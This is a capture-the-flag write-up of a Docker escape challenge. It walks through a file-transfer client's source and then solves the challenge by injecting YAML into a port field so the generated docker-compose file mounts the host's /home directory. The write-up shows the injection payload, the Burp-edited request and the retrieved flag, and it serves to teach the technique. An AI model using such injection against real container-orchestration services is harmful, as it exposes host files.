Description
As the name of the challenge implies, we are dealing with some sort of Docker escape and we need to read the flag file located in /home/flag
.
First step was accessing the web interface in http://95.179.188.234:8080/
and take a look what it is about.
The Challenge
The web interface is a simple website where you can download a client and input a port number. When we click on “Run instance!”, the server will start a Docker container with a service running on the port that we specify. Therefore, let’s take a look at the client source code:
import socket
import sys
import os
import struct
def read_exact(sock, elen):
data = ''
while len(data) < elen:
data += sock.recv(elen-len(data))
return data
def stor(sock):
fname = raw_input("Path to uploaded file:")
try:
data = open(fname, "rb").read()
except:
print "Can't read file!"
return False
try:
pass
except:
pass
if True:
upload_name = os.path.basename(fname)
sock.send('S')
sock.send(struct.pack("<L", len(upload_name)))
sock.send(upload_name)
sock.send(struct.pack("<L", len(data)))
sock.send(data)
try:
pass
except:
print "conn closed?"
return False
try:
res = read_exact(sock, 3)
except:
res = 'BAD'
if res != "OK!":
print "Can't store file!"
return False
return True
def retr(sock):
fname = raw_input("file you want to retreive:")
try:
sock.send('R')
sock.send(struct.pack("<L", len(fname)))
sock.send(fname)
except:
print "conn closed?"
return False
data = sock.recv(4)
if len(data) != 4:
return False
exp_len = struct.unpack("<L", data)[0]
if exp_len > 4096:
print "Network error! We can't work with files more than 4096 bytes!"
return
try:
data = read_exact(sock, exp_len)
except:
print "Can't read content"
return False
print data
return True
HANDLERS = {
'store': stor,
'retreive': retr
}
def process(sock):
comm = raw_input("Choose what you want to do(store, retreive):")
handler = HANDLERS.get(comm, None)
if handler is None:
print "Sorry, no such command!"
return False
return handler(sock)
def main():
if len(sys.argv) < 3:
print "Usage: {} host port".format(sys.argv[1])
return
port_number = None
try:
port_number = int(sys.argv[2])
except:
print "Can't get port number"
return
s = socket.socket()
s.connect((sys.argv[1], port_number))
still_run = True
while still_run:
still_run = process(s)
if __name__ == "__main__":
main()
As we can see by the code above, when we connect the server, basically we can execute two actions: Store and retrieve files. It would be to trivial to connect to the server and try to retrieve the flag on /home/flag
, but we need to remember that the challenge is about escaping the container, so the flag file is on the host, not on the container.
One of the first things we tried was to input an invalid port number on the web interface, it returned us with a nice error message:
The error message above is interesting, but it doesn’t gave us too much details about how our port number is being added to the container creation. So what happens if we input some garbage in the port number?
And the server returned us:
By the image above, we can notice that the port number that we send is concatenated in a Docker compose file, therefore we can control the some content of the compose file.
The Solution
We know that we can control the compose file and we need to read a file that is on the host. So, we need somehow to access the files on host inside the container. One way we could do that is by using Volumes. As we control some content of the generated compose file, we could make it mount a volume for us and therefore we could read the flag file.
Suppose the server has the following template for the Docker compose file:
version: "3"
services:
server:
build: .
ports:
- input_port:12345
The input_port
would be replaced by the port number we input. What we need is to make the server create a file with a volume mapping to the /home
of the host, something like the code below:
version: "3"
services:
server:
build: .
ports:
- input_port:12345
volumes:
- "/home:/ctf"
So, in order to make the server created the code above, our input would be something like:
8080:12345\n volumes:\n - "/home:/ctf" #
As the Docker compose file uses yaml
as format, we need to send a #
in the end of our input, so it will comment the remaining content of the generated file. Otherwise it would fail because the file would be corrupted.
So, as we need to send line breaks in our input, we decided to use Burp Suite to edit our request and makes our life easier. The first step of the final attack, it was to send a chosen port number, let’s send 8866:
Edit our request to manipulate the Docker compose the file and map the /home
folder of the host to the /ctf
folder on the container:
Now we need to use the client and connect to the server 95.179.188.23
and port 8866
:
python client.py 95.179.188.234 8866
And as the /home
folder of the host is mapped to the /ctf
folder on the container, we can finally read the flag by retrieving /ctf/flag
file:
Choose what you want to do(store, retreive):retreive
file you want to retreive:/ctf/flag
cybrics{0dbceabb65128d70f92b70f9d63f277ceac7515c501ece4916d0f3aa65457872}
Choose what you want to do(store, retreive):